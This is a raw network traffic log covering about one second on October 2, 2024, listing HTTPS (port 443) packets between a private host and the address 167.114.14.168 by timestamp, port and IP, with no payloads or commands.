Oct 2, 2024 06:10:15.592833996 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.593086958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.593106985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.593187094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.593203068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.593261957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.618959904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.618978024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.619067907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.619081974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.619138956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.681727886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.681749105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.681818008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.681842089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.681905985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.682714939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.682732105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.682801008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.682813883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.682861090 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.683218002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.683233023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.683299065 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.683310986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.683363914 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.683643103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.683659077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.683728933 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.683742046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.683789015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.684026957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.684048891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.684101105 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.684114933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.684142113 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.684160948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.684405088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.684421062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.684479952 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.684495926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.684550047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.684742928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.684758902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.684824944 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.684838057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.684889078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.707215071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.707235098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.707308054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.707324982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.707379103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.767605066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.767621994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.767848969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.767865896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.767937899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.771280050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.771296024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.771369934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.771398067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.771445036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.771790028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.771806955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.771872997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.771886110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.771936893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.772186041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.772201061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.772264957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.772277117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.772326946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.772547007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.772562981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.772629023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.772641897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.772699118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.772996902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.773019075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.773083925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.773097038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.773154974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.773406029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.773421049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.773479939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.773493052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.773545027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.795794010 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.795810938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.795954943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.795969963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.796042919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.856163025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.856180906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.856250048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.856266975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.856293917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.856312990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.859823942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.859839916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.859921932 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.859941959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.859996080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.860330105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.860344887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.860404968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.860418081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.860471010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.860841036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.860860109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.860912085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.860927105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.860975981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.861268997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.861284018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.861354113 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.861366034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.861418009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.861711979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.861726999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.861772060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.861783981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.861819983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.861841917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.862025023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.862040997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.862093925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.862106085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.862150908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.884249926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.884265900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.884356022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.884370089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.884421110 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.944674015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.944693089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.944789886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.944806099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.944864988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.948497057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.948513985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.948599100 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.948611021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.948667049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.948777914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.948796034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.948849916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.948851109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.948863983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.948894024 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.948900938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.948909044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.948921919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.948961973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.948986053 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.949121952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.949141979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.949203014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.949215889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.949240923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.949265957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.949480057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.949496984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.949564934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.949592113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.949609995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.949634075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.949649096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.949662924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.949692965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.949712038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.949733973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.972953081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.972971916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.973083019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.973097086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.973150969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.033370018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.033401012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.033482075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.033504963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.033534050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.033556938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.037038088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.037055016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.037133932 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.037151098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.037201881 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.037374973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.037389994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.037444115 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.037455082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.037477016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.037486076 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.037508011 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.037508011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.037523985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.037539959 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.037575960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.037986040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.038000107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.038053989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.038072109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.038096905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.038120031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.042365074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.042381048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.042471886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.042485952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.042540073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.042706013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.042721033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.042785883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.042798996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.042850971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.064317942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.064333916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.064414024 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.064436913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.064491987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.131084919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.131107092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.131220102 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.131263971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.131325960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.134423971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.134438992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.134500980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.134516001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.134567022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.134567022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.134627104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.134641886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.134685040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.134696960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.134715080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.134752035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.134919882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.134939909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.134994984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.135008097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.135077000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.135199070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.135214090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.135263920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.135277987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.135333061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.143512011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.143527031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.143587112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.143603086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.143630028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.143651009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.143767118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.143785954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.143824100 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.143836975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.143862009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.143884897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.173919916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.173940897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.174011946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.174030066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.174087048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.278995991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.279017925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.279078960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.279165030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.279206038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.279217005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.279227972 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.279242039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.279272079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.279273987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.279295921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.279306889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.279329062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.279333115 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.279345989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.279356956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.279366970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.279427052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.279428005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.279701948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.279716969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.279783964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.279783964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.279800892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.279858112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.280050039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.280066013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.280118942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.280136108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.280158997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.280185938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.291503906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.291526079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.291570902 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.291604042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.291630030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.291647911 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.291872025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.291887045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.291937113 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.291949034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.291995049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.291996002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.299957991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.299973965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.300033092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.300048113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.300076962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.300178051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.367460012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.367476940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.367531061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.367557049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.367582083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.367624044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.367691040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.367707014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.367758989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.367774963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.367825031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.367825031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.368354082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.368376017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.368422031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.368434906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.368463993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.368483067 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:16.369378090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:16.369394064 CEST	443	49715	167.114.14.168	192.168.2.5
